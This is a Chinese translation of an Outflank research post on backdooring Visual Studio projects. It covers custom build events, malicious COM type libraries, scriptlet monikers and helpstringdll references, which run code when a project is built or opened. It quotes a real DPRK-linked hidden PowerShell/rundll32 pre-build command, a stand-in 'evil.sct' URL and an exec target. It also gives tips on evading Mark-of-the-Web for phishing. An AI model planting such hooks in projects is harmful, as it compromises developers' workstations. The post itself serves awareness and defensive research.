翻译:https://www.outflank.nl/blog/2023/03/28/attacking-visual-studio-for-initial-access/
0X00 前言
在这篇博客文章中,我们将展示如何通过编译、逆向工程或甚至只是查看源代码,可能导致开发者工作站的安全受到威胁。这项研究在谷歌曝光朝鲜行为者使用后门化的Visual Studio项目攻击安全研究人员的情境下尤为相关。我们将展示这些野外攻击只是冰山一角,而且在Visual Studio项目中可以通过更加隐蔽的途径隐藏后门。
这篇文章将是通往COM、类型库以及Visual Studio内部运作的一次旅行。特别是,它实现了以下目标:
探索 Visual Studio 初始访问攻击的攻击面,从红队成员的角度出发
提高人们对处理不可信代码危险性的意识,我们作为黑客和安全研究人员经常进行这样的工作
演示使用类型库的COM攻击原语,这也可用于攻击其他软件,而不仅是Visual Studio
0X01 平淡的警告信息
这项研究是由我在打开下载的Visual Studio项目时经常遇到的一个警告信息触发的:
在从Twitter上找到的某个随机作者那里下载了一个工具之后,大部分人或多或少都会看到这个信息,但是都会选择忽略了它。但这条信息会告诉我们,这个项目文件“可能来自不完全可信的位置”,并且"通过执行自定义构建步骤可能会带来安全风险"。在这种情况下,代码仓库是从GitHub下载的,但我没有完全理解这个所谓的"安全风险"的含义。现在我明白了,仅仅打开(而不是编译!)一个特别制作的Visual Studio项目文件就可能导致系统受到威胁。让我们找出是怎么回事。
0X02 自定义构建事件
基于我对各种野外样本的分析,我得出结论,滥用自定义构建事件是迄今为止创建携带后门的Visual Studio项目最流行的方法。构建事件是Visual Studio的一个合法特性,并在这里有很好的文档说明。顾名思义,这些构建事件在代码构建/编译时触发。例如,下面的摘录来自一个Visual Studio项目文件,在针对安全研究人员的一系列袭击中被用到,据称与朝鲜(DPRK)有关。
<PreBuildEvent>
<Command>
powershell -executionpolicy bypass -windowstyle hidden if(([system.environment]::osversion.version.major -eq 10) -and [system.environment]::is64bitoperatingsystem -and (Test-Path x64\Debug\Browse.VC.db)){rundll32 x64\Debug\Browse.VC.db,ENGINE_get_RAND 7am1cKZAEb9Nl1pL 4201 }
</Command>
</PreBuildEvent>
这个PreBuildEvent目标是在项目构建之前无提示地运行这个PowerShell命令。如果x64\Debug\Browse.VC.db 是一个包含恶意代码的DLL文件,那么这段脚本将会在构建时尝试执行这个DLL文件中的特定函数,留下后门。
尽管微软将这种技术描述为“这种使用恶意预构建事件来获得执行的方法是一种创新技术”,但在代码或Visual Studio项目文件中隐藏后门的方法有更多更隐蔽的方式。让我们进入神秘的类型库领域。
0X03 COM、类型库和import指令
C++代码可以使用import预处理指令。注意,这和include指令完全不同。后者用于包含头文件,而import指令用于引用所谓的类型库。
类型库是组件对象模型(COM)中描述接口的机制。如果你不太熟悉COM,这里的要点是接口定义了一个对象可以支持的方法集。接口是以虚表的形式实现的,基本上是一个函数指针数组。下面图形化地表示了一个例子。
那么,COM 客户端如何知道接口是什么样的呢?实现此目标的最常见方法有:
IDispatch interface("后绑定"):"Dispatch" 是一个可能由 COM 服务器对象实现的接口,这样COM客户端程序就可以在运行时动态地调用它的方法,而不是在编译时需要事先知道所有的方法和参数类型。这就是像PowerShell和 JScript这样的脚本语言如何处理COM中的接口。应当注意,这具有显著的开销和性能损失。
Interface definitions("早绑定"):COM接口可以在C++中使用抽象类和纯虚函数(可以编译为虚拟表)进行定义。但是如何让其他编程语言在编译时了解接口呢?微软对此问题的解决方案是类型库,这是一种专有的文件格式,支持早期绑定。
0X04 类型库的由来
类型库是微软的专有二进制文件格式。创建类型库的常规步骤是使用MIDL编译器将接口定义语言(IDL)编译为二进制格式。类型库可以存储在单独的文件(.tlb)中,或者嵌入到可执行文件(.exe、.dll)的资源中。以下是可以编译成类型库的 IDL 中的示例接口。这个示例来自《Inside COM+》一书,在线可阅读,包括关于类型库的详细章节。
[ object, uuid(10000001-0000-0000-0000-000000000001) ]
interface ISum : IUnknown
{
HRESULT Sum(int x, int y, [out, retval] int* retval);
}
[ uuid(10000003-0000-0000-0000-000000000001) ]
library Component
{
importlib("stdole32.tlb");
interface ISum;
[ uuid(10000002-0000-0000-0000-000000000001) ]
coclass InsideCOM
{
interface ISum;
}
};
由于类型库是一种专有格式,微软在OleAut32.dll中提供了LoadTypeLib函数,作为Windows API的一部分来处理这种文件格式的加载。当Microsoft C++编译器在你的代码中发现import指令时,它会在底层调用这个函数。
类型库文件格式是由 TheirCorp 在 ReactOS 代码的帮助下逆向工程出来的,并且在《非官方类型库数据格式规范》》(The Unofficial TypeLib Data Format Specification)中有文档记录。
那么,这种类型库文件格式是如何被滥用呢?让我们继续分析。
0X05 恶意类型库与内存破坏
Yang Yu(@tombkeeper)揭示了类型库文件格式中的一个未记录字段("Reserved7")是如何在OleAut32.dll的 RegisterTypeLib()中被用作虚拟表偏移量。既然虚拟表基本上是函数指针数组,那么搞乱这个虚拟表偏移量可以用来让虚拟表的一个条目指向任意代码,然后调用这段代码。
0X06 Monikers
Microsoft关于LoadTypeLib的文档包含一个非常有趣的注释:如果szFile参数不是独立类型库或作为资源嵌入,则文件名参数将被解析为名字对象。
在COM中,moninkers允许命名和连接到COM对象,这可以通过字符串化格式ProgID :parameters的显示名称来完成。 Ole32.dll中的MkParseDisplayName()解析显示名称并提供指向IMoniker接口的指针。随后调用IMoniker::BindToObject将绑定该对象。
在我们的利用案例中,我们对Windows脚本组件的绰号特别感兴趣。这可以在CLSID 06290BD3-48AA-11D2-8432-006008C3FBFC下并通过ProgID"script"和"scriptlet"获得。它由scrobj.dll实现为进程内COM服务器,并将 scriptlet 的 URL 作为参数。该名字的字符串化示例是script: https://outflank.nl/evil.sct 。
0X07 嵌套类型库隐藏恶意代码
我们可以通过类型库嵌套从后门源代码中隐藏我们的恶意名称。简而言之,我们将创建一个引用另一个类型库的类型库,该类型库实际上是一个名字字符串。实现此目的的一种方法是使用ICreateTypeLib(2)接口以编程方式创建一个新的 TypeLib。然后,我们可以调用ICreateTypeInfo::AddRefTypeInfo方法来引用另一个类型库,该类型库具有我们可以在内存中轻松找到的模式(例如"AAAAAAAAAAAAAAAAAAAA … AAAAAAAAAAAAAAAAAAAAAA.tlb)。随后,我们可以在存储二进制文件之前执行内存中编辑,或者在存储后使用十六进制编辑器将引用的类型库替换为我们的邪恶名字。James Forshaw ( @tiraniddo ) 在CVE-2017-0213漏洞利用中首次使用了此技巧。
0X08 编译时加载恶意类型库
总而言之,我们现在可以在C++代码中包含诸如import"EvilTypeLib.tlb"之类的行,这将在编译代码时触发以下利用链:
- 微软的C++编译器(预处理器)会遇到我们的import指令并通过LoadTypeLib()加载引用的类型库
- LoadTypeLib()将在我们的初始类型库中找到对另一个类型库的引用。请注意,引用的(嵌套)类型库实际上是字符串化的scriptlet名称
- MkParseDisplayName()将解析名字字符串,然后通过IMoniker::BindToObject()绑定Windows脚本组件对象
- 脚本组件对象将加载我们的恶意脚本文件,该文件可以托管在任意网站当中
我们是否可以做到在查看代码时触发我们的后门,而不必等到目标编译它才触发?
0X09 查看代码时加载恶意类型库
首先,需要明白,集成开发环境(IDE)不仅仅是一个文本编辑器。这就是把Visual Studio(IDE)和VS Code(文本编辑器)分开的原因。在Visual Studio中加载项目时,后台会执行各种操作。
达到加载Visual Studio项目时执行代码的最简单方法,是在你的项目文件中包含以下XML行:
<Target Name="GetFrameworkPaths">
<Exec Command="calc.exe"/>
</Target>
这段XML代码是Visual Studio项目文件中的一部分,它定义了一个名为"GetFrameworkPaths"的目标,该目标将在特定点上在构建过程中被执行。
然而,这样的后门在打开之前任何人审查项目文件时都很容易发现。因此,我们将使用Visual Studio中的另一个特性来隐藏我们的后门,这个特性更难以发现,但在打开我们的代码时仍然会被触发。为此,我们需要理解Visual Studio属性窗口在后台是如何工作的。
正如文档所述,属性窗口使用从类型库通过ITypeInfo接口获得的信息来填充属性。为此,属性窗口调用ITypeInfo::GetDocumentation()方法。这些属性可能来自一个DLL,这个DLL导出了一个DLLGetDocumentation方法,例如用于支持本地化。这个DLL可以通过helpstringdll属性在类型库中指定。下面是IDL中的一个例子:
[ uuid(10000002-0000-0000-0000-000000000001),
version(1.0),
helpstringcontext(103),
helpstringdll("helpstringdll.dll") ]
library ComponentLib
{
… yadayadayada …
};
属性窗口将使用Visual Studio项目文件中COMFileReference XML标记中指定的任何类型库。
Visual Studio项目文件的示例摘录:
…
<COMFileReference Include="files\helpstringdll.tlb">
<EmbedInteropTypes>True</EmbedInteropTypes>
</COMFileReference>
…
这段XML代码是在Visual Studio项目文件 (.csproj、.vbproj 或 .vcxproj 文件) 中用来引用 COM 类型库的。
因此,我们打开 Visual Studio 项目文件时执行任意代码的完整利用链将如下:
- 打开项目文件时,Visual Studio 将加载通过 COMFileReference 标签指定的所有类型库。
- 属性窗口将解析所有类型库中的 HelpstringDLL 属性。
- 我们的恶意 DLL 将通过 LoadLibrary() 被调用,而 DLL 中导出的可以调用我们恶意代码的 DLLGetDocumentation() 函数也会被调用。
就这样:仅仅打开一个 Visual Studio 文件就触发了我们的恶意代码。
0X09 利用Visual Studio钓鱼攻击的影响
那么这会产生什么影响呢?从红队成员的角度来看,这个攻击途径可能对定向开发人员的鱼饵式网络钓鱼攻击有趣。需要注意的是,Visual Studio项目文件不在Outlook的阻止扩展名列表 中。同时注意,TypeLibs和DLLs的引用路径可能在WebDAV上,所以实际的有效载荷可以是一个单独的Visual Studio项目文件。
这种攻击途径还允许从代码仓库的妥协向开发者工作站的妥协转变。如果在红队操作中妥协了GitHub / GitLab账户,这是一个很好的攻击途径。或者,可以围绕一个假的GitHub项目设置一个水坑攻击。对于这种攻击途径,微软的回应很明确:这是预期的行为,不予修复。在我们与微软的沟通中,一位微软代表重申"除非开发者知道源头,否则代码应该被视为不可信"。这就是为何下载的代码会显示警告消息。值得注意的是,只有当Visual Studio项目文件带有网络文件标记时,才会显示这条警告消息。如何在攻击中通过规避网络文件标记(MOTW)来摆脱这条消息呢?可以考虑git clone,它不会设置MOTW。
0X010 COM与类型库攻击面
如果你想自己探索通过类型库的利用,这里有一些指向有趣攻击面的提示:
-
集成开发环境:虽然这篇博客文章聚焦于Visual Studio,但大多数支持COM的其他IDE也必须处理类型库。这方面的一个很好的例子是MS Office VBA编辑器和引擎。例如,我们发现了CVE-2020-0760,这是一个通过类型库滥用在Microsoft Office中的远程代码执行漏洞,我们将在未来的博客文章中详细描述。
-
逆向工程工具:IDA Pro的COM插件、OLE查看器和NirSoft DLL导出查看器已经被确认可以通过类型库被利用。对任何逆向工程师来说,应该清楚使用这些工具处理不受信任的对象时,只应该在沙盒中进行。
-
其他:在各种其他软件中也有攻击面。例如,Total Commander的FileInfo插件加载类型库。而这个CVE-2007-2216在互联网浏览器中提示,支持ActiveX的软件中可能仍然存在攻击向量。
我最喜欢的用于识别攻击面的工具是Rohitab的API监视器。它允许挂钩COM API方法和接口。你可以用它来监视对LoadTypeLib(Ex)的调用,从而识别潜在的攻击面。
0X011 总结
这篇博客证明了安全研究人员在在Visual Studio或任何其他IDE中打开不可信的代码时需要非常小心。这些技术正在被积极地利用,后门可能被很好地隐藏起来。为了帮助其他红队轻松实现这些技术及更多,我们开发了Outflank安全工具,这是一套广泛的逃避工具,允许用户安全、轻松地执行复杂的任务。